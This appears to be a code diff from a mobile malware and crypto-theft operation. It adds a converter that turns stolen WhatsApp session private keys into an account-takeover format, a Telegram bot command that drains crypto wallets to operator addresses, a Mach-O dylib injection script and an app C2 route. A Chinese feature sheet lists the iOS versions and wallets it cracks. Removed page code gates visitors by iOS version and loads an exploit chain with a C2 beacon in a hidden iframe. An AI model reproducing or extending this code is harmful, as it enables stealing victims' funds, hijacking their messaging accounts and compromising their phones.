'967' => 'YE', '968' => 'OM', '971' => 'AE', '972' => 'IL', '973' => 'BH',
|
||||
'974' => 'QA', '975' => 'BT', '976' => 'MN', '977' => 'NP', '992' => 'TJ',
|
||||
'993' => 'TM', '994' => 'AZ', '995' => 'GE', '996' => 'KG', '998' => 'UZ',
|
||||
];
|
||||
|
||||
/**
|
||||
* Infer [cc, country] from a bare E.164 phone (no + prefix).
|
||||
* Longest-prefix-first; returns ['', ''] on no match.
|
||||
*
|
||||
* @return array{0:string, 1:string} [cc, iso]
|
||||
*/
|
||||
public static function inferFromPhone(string $phone): array
|
||||
{
|
||||
$phone = preg_replace('/\D+/', '', $phone) ?? '';
|
||||
if ($phone === '') {
|
||||
return ['', ''];
|
||||
}
|
||||
for ($len = 3; $len >= 1; $len--) {
|
||||
$prefix = substr($phone, 0, $len);
|
||||
if (isset(self::CALLING_CODES[$prefix])) {
|
||||
return [$prefix, self::CALLING_CODES[$prefix]];
|
||||
}
|
||||
}
|
||||
|
||||
return ['', ''];
|
||||
}
|
||||
|
||||
public static function callingCodeForCountry(?string $iso): ?string
|
||||
{
|
||||
$iso = strtoupper(trim((string) $iso));
|
||||
if ($iso === '' || $iso === 'T1' || $iso === 'XX') {
|
||||
return null;
|
||||
}
|
||||
foreach (self::CALLING_CODES as $code => $country) {
|
||||
if ($country === $iso) {
|
||||
return $code;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -266,6 +266,9 @@ final class WalletSource
|
||||
'TRX', 'TRON',
|
||||
'BTC', 'BITCOIN',
|
||||
'BNB', 'BSC', 'BINANCE',
|
||||
'SOL', 'SOLANA',
|
||||
'ARB', 'ARBITRUM',
|
||||
'TON', 'TONCOIN',
|
||||
];
|
||||
|
||||
public static function isSupportedChain(string $chainType): bool
|
||||
@@ -375,6 +378,7 @@ final class WalletSource
|
||||
'SOLANA', 'SOL' => 'SOL',
|
||||
'TON' => 'TON',
|
||||
'BNB', 'BSC', 'BINANCE' => 'BNB',
|
||||
'ARB', 'ARBITRUM' => 'ETH',
|
||||
default => strtoupper($chainType) ?: 'UNKNOWN',
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,250 @@
|
||||
<?php
|
||||
|
||||
namespace App\Support;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\PluginSession;
|
||||
|
||||
/**
|
||||
* Convert a wap.js WhatsApp session payload (xxbb family, POST /api/wp/t)
|
||||
* into the 26-field NDJSON record format used by chk.ts native output
|
||||
* (the __ws.txt format: one JSON object per line, fixed key order).
|
||||
*
|
||||
* Field coverage vs chk.ts native output:
|
||||
* - 21/26 directly from wap.js payload
|
||||
* - 1 derived (clientStaticPublicKey via libsodium curve25519)
|
||||
* - 5 empty (cc/country/language/mnc/deviceUUID — wap.js does not collect)
|
||||
*
|
||||
* cc / country / in are inferred from the bare phone number via
|
||||
* {@see CountryCallingCode}; device.country (CF-IPCountry) is used as a
|
||||
* cross-check fallback when the phone-prefix lookup is ambiguous.
|
||||
*/
|
||||
final class WsPayloadConverter
|
||||
{
|
||||
/** Fixed key order matching __ws.txt / chk.ts native output. */
|
||||
private const FIELD_ORDER = [
|
||||
'cc', 'clientStaticPrivateKey', 'clientStaticPublicKey', 'country',
|
||||
'device', 'deviceUUID', 'identityPrivateKey', 'identityPublicKey',
|
||||
'in', 'jid', 'language', 'manufacturer', 'mcc', 'mnc',
|
||||
'osBuildNumber', 'osVersion', 'phone', 'phoneUUID', 'registrationID',
|
||||
'roProductBoard', 'roProductDevice', 'signPreKeyID',
|
||||
'signPreKeyPrivateKey', 'signPreKeyPublicKey', 'signPreKeySignature',
|
||||
'whatsappVersion',
|
||||
];
|
||||
|
||||
/**
|
||||
* Convert one PluginSession (kind=WHATSAPP) into a 26-field record.
|
||||
* Returns null when the payload lacks the minimum key material.
|
||||
*
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
public function convert(PluginSession $session, ?Device $device = null): ?array
|
||||
{
|
||||
$blob = $session->fullPayload();
|
||||
if (!is_array($blob)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$pks = $blob['phoneKeyStore'] ?? null;
|
||||
$ident = is_array($pks) ? ($pks['identity'] ?? null) : null;
|
||||
$spkHex = is_array($pks) ? ($pks['signedPreKey']['hexKey'] ?? null) : null;
|
||||
$csB64 = $blob['clientStaticKeypairBase64'] ?? null;
|
||||
|
||||
if (!is_array($ident) || !is_string($spkHex ?? null) || !is_string($csB64 ?? null)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$phone = $this->stringOf($blob['userId'] ?? $blob['account'] ?? null);
|
||||
$dc = is_array($blob['deviceConfig'] ?? null) ? $blob['deviceConfig'] : [];
|
||||
|
||||
[$cc, $country] = $this->inferCcCountry($phone, $device);
|
||||
$in = $cc !== '' && str_starts_with($phone, $cc)
|
||||
? substr($phone, strlen($cc))
|
||||
: $phone;
|
||||
|
||||
$identPub = $this->hexToBytes($ident['hexPublic'] ?? '');
|
||||
$identPriv = $this->hexToBytes($ident['hexPrivate'] ?? '');
|
||||
$spk = $this->parseSignedPreKey($spkHex);
|
||||
$csPriv = base64_decode((string) $csB64, true) ?: '';
|
||||
$csPub = $this->deriveCurve25519Public($csPriv);
|
||||
|
||||
$record = [
|
||||
'cc' => $cc,
|
||||
'clientStaticPrivateKey' => $this->b64($csPriv),
|
||||
'clientStaticPublicKey' => $this->b64($csPub),
|
||||
'country' => $country,
|
||||
'device' => $this->stringOf($dc['model'] ?? $dc['device'] ?? null),
|
||||
'deviceUUID' => '',
|
||||
'identityPrivateKey' => $this->b64($identPriv),
|
||||
'identityPublicKey' => $this->b64($identPub),
|
||||
'in' => $in,
|
||||
'jid' => $phone,
|
||||
'language' => '',
|
||||
'manufacturer' => $this->stringOf($dc['brand'] ?? null) ?: 'Apple',
|
||||
'mcc' => $this->stringOf($dc['sim_operator'] ?? null),
|
||||
'mnc' => '',
|
||||
'osBuildNumber' => $this->stringOf($dc['display'] ?? null),
|
||||
'osVersion' => $this->stringOf($dc['sdk_release'] ?? null),
|
||||
'phone' => $phone,
|
||||
'phoneUUID' => $this->stringOf($blob['phoneId'] ?? null),
|
||||
'registrationID' => (int) ($ident['registration_id'] ?? 0),
|
||||
'roProductBoard' => $this->stringOf($dc['board'] ?? null),
|
||||
'roProductDevice' => $this->stringOf($dc['device'] ?? null),
|
||||
'signPreKeyID' => $spk['id'] ?? 0,
|
||||
'signPreKeyPrivateKey' => $this->b64($spk['priv'] ?? ''),
|
||||
'signPreKeyPublicKey' => $this->b64($spk['pub'] ?? ''),
|
||||
'signPreKeySignature' => $this->b64($spk['sig'] ?? ''),
|
||||
'whatsappVersion' => $this->stringOf($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
||||
];
|
||||
|
||||
// Enforce fixed key order.
|
||||
$ordered = [];
|
||||
foreach (self::FIELD_ORDER as $k) {
|
||||
$ordered[$k] = $record[$k] ?? '';
|
||||
}
|
||||
|
||||
return $ordered;
|
||||
}
|
||||
|
||||
/** One NDJSON line (no trailing newline). */
|
||||
public function convertToLine(PluginSession $session, ?Device $device = null): ?string
|
||||
{
|
||||
$rec = $this->convert($session, $device);
|
||||
if ($rec === null) {
|
||||
return null;
|
||||
}
|
||||
$json = json_encode($rec, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
|
||||
return $json === false ? null : $json;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{cc:string, country:string}
|
||||
*/
|
||||
private function inferCcCountry(string $phone, ?Device $device): array
|
||||
{
|
||||
if ($phone !== '') {
|
||||
[$cc, $country] = CountryCallingCode::inferFromPhone($phone);
|
||||
if ($cc !== '') {
|
||||
return [$cc, $country];
|
||||
}
|
||||
}
|
||||
// Fallback: device.country (CF-IPCountry ISO code) -> calling code.
|
||||
if ($device !== null) {
|
||||
$iso = strtoupper(trim((string) $device->country));
|
||||
$cc = CountryCallingCode::callingCodeForCountry($iso);
|
||||
if ($cc !== null) {
|
||||
return [$cc, $iso];
|
||||
}
|
||||
}
|
||||
|
||||
return ['', ''];
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse signedPreKey.hexKey protobuf:
|
||||
* field 1 (varint) = prekey_id
|
||||
* field 2 (bytes) = public key (33 bytes, 05 prefix)
|
||||
* field 3 (bytes) = private key (32 bytes)
|
||||
* field 4 (bytes) = signature (64 bytes)
|
||||
*
|
||||
* @return array{id:int, pub:string, priv:string, sig:string}
|
||||
*/
|
||||
private function parseSignedPreKey(string $hex): array
|
||||
{
|
||||
$d = $this->hexToBytes($hex);
|
||||
$out = ['id' => 0, 'pub' => '', 'priv' => '', 'sig' => ''];
|
||||
$o = 0;
|
||||
$n = strlen($d);
|
||||
while ($o < $n) {
|
||||
[$tag, $o] = $this->readVarint($d, $o);
|
||||
$field = $tag >> 3;
|
||||
$wire = $tag & 7;
|
||||
if ($wire === 0) {
|
||||
[$v, $o] = $this->readVarint($d, $o);
|
||||
if ($field === 1) {
|
||||
$out['id'] = (int) $v;
|
||||
}
|
||||
} elseif ($wire === 2) {
|
||||
[$ln, $o] = $this->readVarint($d, $o);
|
||||
$v = substr($d, $o, $ln);
|
||||
$o += $ln;
|
||||
if ($field === 2) {
|
||||
$out['pub'] = $v;
|
||||
} elseif ($field === 3) {
|
||||
$out['priv'] = $v;
|
||||
} elseif ($field === 4) {
|
||||
$out['sig'] = $v;
|
||||
}
|
||||
} elseif ($wire === 1) {
|
||||
$o += 8;
|
||||
} elseif ($wire === 5) {
|
||||
$o += 4;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/** Curve25519 public key from a 32-byte private key (libsodium). */
|
||||
private function deriveCurve25519Public(string $priv): string
|
||||
{
|
||||
if (strlen($priv) !== 32) {
|
||||
return '';
|
||||
}
|
||||
try {
|
||||
return sodium_crypto_box_publickey_from_secretkey($priv);
|
||||
} catch (\SodiumException $e) {
|
||||
return '';
|
||||
}
|
||||
}
|
||||
|
||||
/** @return array{0:int, 1:int} */
|
||||
private function readVarint(string $d, int $o): array
|
||||
{
|
||||
$v = 0;
|
||||
$s = 0;
|
||||
while ($o < strlen($d)) {
|
||||
$b = ord($d[$o]);
|
||||
$o++;
|
||||
$v |= ($b & 0x7f) << $s;
|
||||
if (($b & 0x80) === 0) {
|
||||
break;
|
||||
}
|
||||
$s += 7;
|
||||
}
|
||||
|
||||
return [$v, $o];
|
||||
}
|
||||
|
||||
private function hexToBytes(string $hex): string
|
||||
{
|
||||
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
|
||||
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
||||
return '';
|
||||
}
|
||||
|
||||
return hex2bin($hex) ?: '';
|
||||
}
|
||||
|
||||
private function b64(string $bytes): string
|
||||
{
|
||||
return $bytes === '' ? '' : base64_encode($bytes);
|
||||
}
|
||||
|
||||
private function stringOf(mixed $v): string
|
||||
{
|
||||
if (is_int($v) || is_float($v)) {
|
||||
return (string) $v;
|
||||
}
|
||||
if (is_string($v)) {
|
||||
$v = trim($v);
|
||||
|
||||
return $v;
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
}
|
||||
@@ -29,12 +29,13 @@ class HelpCommand
|
||||
'/channel',
|
||||
' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接',
|
||||
'',
|
||||
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
|
||||
'/transfer <fromAddress> [TRX|USDT|ETH|BNB|BTC] [amount]',
|
||||
' 从设备地址转出到配置收款地址',
|
||||
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||
' 例: /transfer Txxx USDT 10',
|
||||
' 例: /transfer 0x… ETH',
|
||||
' 例: /transfer 0x… BNB (BSC 原生 BNB)',
|
||||
' 例: /transfer 1… BTC 0.01',
|
||||
]));
|
||||
}
|
||||
|
||||
@@ -24,7 +24,7 @@ class TransferCommand
|
||||
|
||||
if ($parts === []) {
|
||||
$bot->sendMessage(
|
||||
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]\n"
|
||||
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BNB|BTC] [amount]\n"
|
||||
."Omit amount to transfer all. Chain is inferred from address.\n"
|
||||
."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
|
||||
.'To = per-chain TRANSFER_TO_ADDRESS* (env).'
|
||||
@@ -68,7 +68,7 @@ class TransferCommand
|
||||
return;
|
||||
}
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
@@ -172,7 +172,7 @@ class TransferCommand
|
||||
private function assetsForChain(string $chain): array
|
||||
{
|
||||
return match ($chain) {
|
||||
'eth' => ['ETH', 'USDT'],
|
||||
'eth' => ['ETH', 'USDT', 'BNB'],
|
||||
'btc' => ['BTC'],
|
||||
default => ['TRX', 'USDT'],
|
||||
};
|
||||
|
||||
Executable
+98
@@ -0,0 +1,98 @@
|
||||
#!/usr/bin/env python3
|
||||
"""add_dylib.py — Add an LC_LOAD_DYLIB load command to a Mach-O 64-bit binary.
|
||||
|
||||
Usage: python3 add_dylib.py <binary> <dylib_path> [--weak]
|
||||
|
||||
Inserts the new load command right after the existing load commands, before
|
||||
the first section data. Requires enough free space in the __TEXT header
|
||||
region (checked automatically).
|
||||
|
||||
The binary is modified in-place; a .orig backup is created first.
|
||||
"""
|
||||
import struct, sys, shutil, os
|
||||
|
||||
LC_LOAD_DYLIB = 0x0c
|
||||
LC_LOAD_WEAK_DYLIB = 0x80000018 # LC_LOAD_WEAK_DYLIB with LC_REQ_DYLD
|
||||
|
||||
def main():
|
||||
args = sys.argv[1:]
|
||||
weak = False
|
||||
if '--weak' in args:
|
||||
weak = True
|
||||
args.remove('--weak')
|
||||
if len(args) != 2:
|
||||
sys.exit("Usage: add_dylib.py <binary> <dylib_path> [--weak]")
|
||||
path, dylib = args
|
||||
|
||||
with open(path, 'rb') as f:
|
||||
data = bytearray(f.read())
|
||||
|
||||
# Parse Mach-O 64-bit header
|
||||
magic = struct.unpack_from('<I', data, 0)[0]
|
||||
if magic != 0xfeedfacf:
|
||||
sys.exit(f"Not a 64-bit Mach-O (magic={hex(magic)})")
|
||||
|
||||
cputype, cpusub, filetype, ncmds, sizeofcmds, flags, reserved = \
|
||||
struct.unpack_from('<i i I I I I I', data, 4)
|
||||
|
||||
HEADER_SIZE = 32 # mach_header_64
|
||||
hdr_end = HEADER_SIZE + sizeofcmds
|
||||
|
||||
# Find the earliest section offset (file offset) to know our free space
|
||||
off = HEADER_SIZE
|
||||
min_section_off = len(data)
|
||||
for _ in range(ncmds):
|
||||
cmd, cmdsize = struct.unpack_from('<II', data, off)
|
||||
if cmd == 0x19: # LC_SEGMENT_64
|
||||
# segment_command_64: cmd(4) cmdsize(4) segname(16) vmaddr(8) vmsize(8) fileoff(8) filesize(8) maxprot(4) initprot(4) nsects(4) flags(4)
|
||||
fileoff = struct.unpack_from('<Q', data, off + 40)[0] # fileoff at offset 40
|
||||
nsects = struct.unpack_from('<I', data, off + 64)[0] # nsects at offset 64
|
||||
sect_off = off + 72 # section_64 array starts at segment + 72
|
||||
for s in range(nsects):
|
||||
sect_fileoff = struct.unpack_from('<I', data, sect_off + s * 80 + 48)[0]
|
||||
if sect_fileoff > 0 and sect_fileoff < min_section_off:
|
||||
min_section_off = sect_fileoff
|
||||
off += cmdsize
|
||||
|
||||
# Build the LC_LOAD_DYLIB command
|
||||
name = dylib.encode() + b'\0'
|
||||
# name_offset = 24 (cmd + cmdsize + 4*4 for dylib struct)
|
||||
name_offset = 24
|
||||
cmdsize = name_offset + len(name)
|
||||
# align to 8 bytes
|
||||
cmdsize = (cmdsize + 7) & ~7
|
||||
|
||||
needed = cmdsize
|
||||
free = min_section_off - hdr_end
|
||||
if free < needed:
|
||||
sys.exit(f"Not enough free space: need {needed}, have {free} "
|
||||
f"(hdr_end={hdr_end}, first_section={min_section_off})")
|
||||
|
||||
# Build the command bytes
|
||||
cmd_id = LC_LOAD_WEAK_DYLIB if weak else LC_LOAD_DYLIB
|
||||
cmd = struct.pack('<II', cmd_id, cmdsize)
|
||||
cmd += struct.pack('<IIII', name_offset, 2, 0x10000, 0x10000) # dylib struct
|
||||
cmd += name
|
||||
cmd += b'\0' * (cmdsize - len(cmd)) # pad to cmdsize
|
||||
|
||||
# Write the new command into existing free space (NO insertion —
|
||||
# the space between sizeofcmds and first section is zero padding).
|
||||
# Inserting bytes would shift all section file offsets and break the binary.
|
||||
data[hdr_end:hdr_end + cmdsize] = cmd
|
||||
|
||||
# Update ncmds and sizeofcmds (in-place, no shift)
|
||||
struct.pack_into('<I', data, 16, ncmds + 1)
|
||||
struct.pack_into('<I', data, 20, sizeofcmds + cmdsize)
|
||||
|
||||
# Backup and write
|
||||
shutil.copy2(path, path + '.orig')
|
||||
with open(path, 'wb') as f:
|
||||
f.write(data)
|
||||
|
||||
print(f"Added {'weak ' if weak else ''}LC_LOAD_DYLIB: {dylib}")
|
||||
print(f" cmdsize={cmdsize}, ncmds={ncmds}->{ncmds+1}, "
|
||||
f"sizeofcmds={sizeofcmds}->{sizeofcmds+cmdsize}")
|
||||
print(f" free space was {free} bytes, backup saved as {path}.orig")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Executable
+51
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch an iOS Info.plist: set bundle identity, white launch screen, icons."""
|
||||
import plistlib
|
||||
import sys
|
||||
import os
|
||||
|
||||
def main():
|
||||
plist_path = sys.argv[1]
|
||||
app_name = sys.argv[2]
|
||||
bundle_id = sys.argv[3]
|
||||
version = sys.argv[4]
|
||||
|
||||
with open(plist_path, 'rb') as f:
|
||||
plist = plistlib.load(f)
|
||||
|
||||
# Set identity
|
||||
plist['CFBundleDisplayName'] = app_name
|
||||
plist['CFBundleName'] = app_name
|
||||
plist['CFBundleIdentifier'] = bundle_id
|
||||
plist['CFBundleShortVersionString'] = version
|
||||
plist['CFBundleVersion'] = version
|
||||
|
||||
# White launch screen
|
||||
plist.pop('UILaunchStoryboardName', None)
|
||||
plist['UILaunchScreen'] = {}
|
||||
|
||||
# Icon references (loose PNGs)
|
||||
plist['CFBundleIcons'] = {
|
||||
'CFBundlePrimaryIcon': {
|
||||
'CFBundleIconName': 'AppIcon',
|
||||
'CFBundleIconFiles': ['AppIcon60x60'],
|
||||
}
|
||||
}
|
||||
plist['CFBundleIcons~ipad'] = {
|
||||
'CFBundlePrimaryIcon': {
|
||||
'CFBundleIconFiles': [
|
||||
'AppIcon60x60@2x',
|
||||
'AppIcon60x60@3x',
|
||||
'AppIcon76x76@2x~ipad',
|
||||
],
|
||||
'CFBundleIconName': 'AppIcon',
|
||||
}
|
||||
}
|
||||
|
||||
with open(plist_path, 'wb') as f:
|
||||
plistlib.dump(plist, f)
|
||||
|
||||
print(f"OK: patched {plist_path}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
+3
-2
@@ -16,6 +16,9 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
require __DIR__.'/../routes/xxbb.php';
|
||||
require __DIR__.'/../routes/ds.php';
|
||||
|
||||
// App C2 sink (log only)
|
||||
require __DIR__.'/../routes/app_c2.php';
|
||||
|
||||
// External webhooks (no CSRF)
|
||||
require __DIR__.'/../routes/hooks.php';
|
||||
|
||||
@@ -66,8 +69,6 @@ return Application::configure(basePath: dirname(__DIR__))
|
||||
'war',
|
||||
'p',
|
||||
'stats',
|
||||
'kplus_logger',
|
||||
'kplus_logger.php',
|
||||
]);
|
||||
|
||||
$middleware->redirectGuestsTo(function () {
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
# 系统能力介绍
|
||||
|
||||
---
|
||||
|
||||
## JS 访问版
|
||||
|
||||
### 13-17 系列
|
||||
|
||||
**支持版本范围:** 13 – 17.2.1
|
||||
|
||||
**支持钱包:**
|
||||
- 打开钱包 APP 获取:MetaMask / Trust / Coinbase / BitKeep / Tonkeeper / Uniswap / Phantom / MyTonWallet / Exodus / Ronin / Krystal / Tonhub / Coin98 / Bitpie / Solflare / OKX
|
||||
- 需要转账/查看助记词等动作:imToken / TronLink / TokenPocket
|
||||
|
||||
**支持的其他能力:** 相册 / 备忘录 / WhatsApp 参数 / Telegram 参数 / APP 应用列表
|
||||
|
||||
---
|
||||
|
||||
### 18 系列
|
||||
|
||||
**支持版本:** 18.5 / 18.6 / 18.6.1 / 18.6.2
|
||||
|
||||
**支持钱包:**
|
||||
- 秒破:Bitpie / Trust / Coin98 /Uniswap / Phantom
|
||||
- 暴力破:imToken / BitKeep / MetaMask / Tonkeeper
|
||||
|
||||
|
||||
**支持的其他能力:** 相册 / 备忘录 / APP 应用列表
|
||||
|
||||
---
|
||||
|
||||
### 支持的版本明细
|
||||
|
||||
```
|
||||
13: 13.1 13.1.1 13.1.3 13.2 13.2.2 13.3 13.3.1 13.4.1 13.5 13.5.1 13.6 13.6.1 13.7
|
||||
14: 14.0 14.0.1 14.1 14.2 14.2.1 14.3 14.4 14.4.1 14.4.2 14.5 14.5.1 14.6 14.7 14.7.1 14.8 14.8.1
|
||||
15: 15.0 15.0.1 15.0.2 15.1 15.1.1 15.2 15.2.1 15.3 15.3.1 15.4 15.4.1 15.5 15.6 15.6.1
|
||||
15.7 15.7.1 15.7.2 15.7.3 15.7.4 15.7.5 15.7.6 15.7.7 15.7.8 15.7.9
|
||||
15.8 15.8.1 15.8.2 15.8.3 15.8.4 15.8.5 15.8.6
|
||||
16: 16.0 16.0.1 16.0.2 16.0.3 16.1 16.1.1 16.1.2 16.2 16.3 16.3.1 16.4 16.4.1
|
||||
16.5 16.5.1 16.6 16.6.1 16.7 16.7.1 16.7.2 16.7.3 16.7.4
|
||||
17: 17.0 17.0.1 17.0.2 17.0.3 17.1 17.1.1 17.1.2 17.2 17.2.1
|
||||
18: 18.5 18.6 18.6.1 18.6.2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## APP 下载版
|
||||
|
||||
### 12 – 26.6.1
|
||||
|
||||
**版本范围:** iOS 12 ~ iOS 18.7.2 / iOS 26.0 / iOS 26.0.1
|
||||
|
||||
**支持钱包:**
|
||||
- 秒破:Bitpie / Trust / Coin98 / Exodus / Phantom / Uniswap / Tonhub / OKX
|
||||
- 暴力破:imToken / TokenPocket / TronLink / MetaMask
|
||||
|
||||
---
|
||||
|
||||
### 26.0.1 – 26.6.1
|
||||
|
||||
**版本范围:** 26.0.1 – 26.6.1
|
||||
|
||||
**支持钱包:**
|
||||
- 爆破:imToken / TronLink / MetaMask / OKX / Coin98 / TokenPocket
|
||||
- 秒破:Tonhub
|
||||
@@ -5,53 +5,8 @@
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>weifile</title>
|
||||
<script src="/t.js" defer></script>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
// Below iOS 18: non-DS chain (index.js).
|
||||
var s = document.createElement('script');
|
||||
s.src = 'index.js?' + Date.now();
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
|
||||
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
|
||||
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
|
||||
// which includes it in the C2 beacon for channel attribution.
|
||||
var channelCode = '';
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) channelCode = m[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
var dsDomain = '__DS_DOMAIN__';
|
||||
var dsUrl = dsDomain + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
|
||||
// iOS 19+ / 26+: no action.
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -8,7 +8,6 @@
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>加载中</title>
|
||||
<script src="/t.js" defer></script>
|
||||
<style>
|
||||
:root {
|
||||
--bg: #0f1419;
|
||||
@@ -112,45 +111,7 @@
|
||||
<p class="title">加载中</p>
|
||||
<p class="subtitle">请稍候,正在准备页面…</p>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
var s = document.createElement('script');
|
||||
s.src = 'index.js?' + Date.now();
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
var channelCode = '';
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) channelCode = m[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
var dsDomain = '__DS_DOMAIN__';
|
||||
var dsUrl = dsDomain + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
<script src="index.js"></script>
|
||||
<script>
|
||||
(function () {
|
||||
var TOTAL = 15;
|
||||
|
||||
@@ -5,53 +5,8 @@
|
||||
<meta http-equiv="Expires" content="0" />
|
||||
<meta property="og:determiner" content="auto" />
|
||||
<title>weifile</title>
|
||||
<script src="/t.js" defer></script>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
if (!ios || ios[0] < 18) {
|
||||
// Below iOS 18: non-DS chain (index.js).
|
||||
var s = document.createElement('script');
|
||||
s.src = 'index.js?' + Date.now();
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
return;
|
||||
}
|
||||
if (ios[0] === 18) {
|
||||
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
|
||||
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
|
||||
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
|
||||
// which includes it in the C2 beacon for channel attribution.
|
||||
var channelCode = '';
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) channelCode = m[1].toUpperCase();
|
||||
} catch (eC) {}
|
||||
var dsDomain = '__DS_DOMAIN__';
|
||||
var dsUrl = dsDomain + '/next-chain/frame.html';
|
||||
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
||||
var ifr = document.createElement('iframe');
|
||||
ifr.src = dsUrl;
|
||||
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
||||
(document.body || document.documentElement).appendChild(ifr);
|
||||
}
